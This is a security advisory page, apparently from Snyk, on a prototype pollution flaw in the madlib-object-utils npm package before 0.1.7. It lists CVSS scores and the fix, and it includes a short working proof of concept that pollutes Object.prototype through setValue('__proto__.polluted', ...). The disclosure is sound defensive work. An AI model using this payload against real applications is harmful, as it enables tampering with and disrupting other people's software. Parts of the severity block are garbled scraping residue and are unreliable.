Prototype Pollution Affecting madlib-object-utils package, versions <0.1.7


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.66% (80th percentile)

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  • Snyk ID SNYK-JS-MADLIBOBJECTUTILS-598676
  • published 14 Aug 2020
  • disclosed 14 Aug 2020
  • credit Beomjin Lee

How to fix?

Upgrade madlib-object-utils to version 0.1.7 or higher.

Overview

madlib-object-utils is an A small set of utility functions for working with objects

Affected versions of this package are vulnerable to Prototype Pollution via setValue.

POC:

const objectUtils = require("madlib-object-utils");
objectUtils.setValue('__proto__.polluted', {}, true);
console.log(polluted);

CVSS Scores

version 3.1
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Snyk

7.5 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High
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NVD

9.8 critical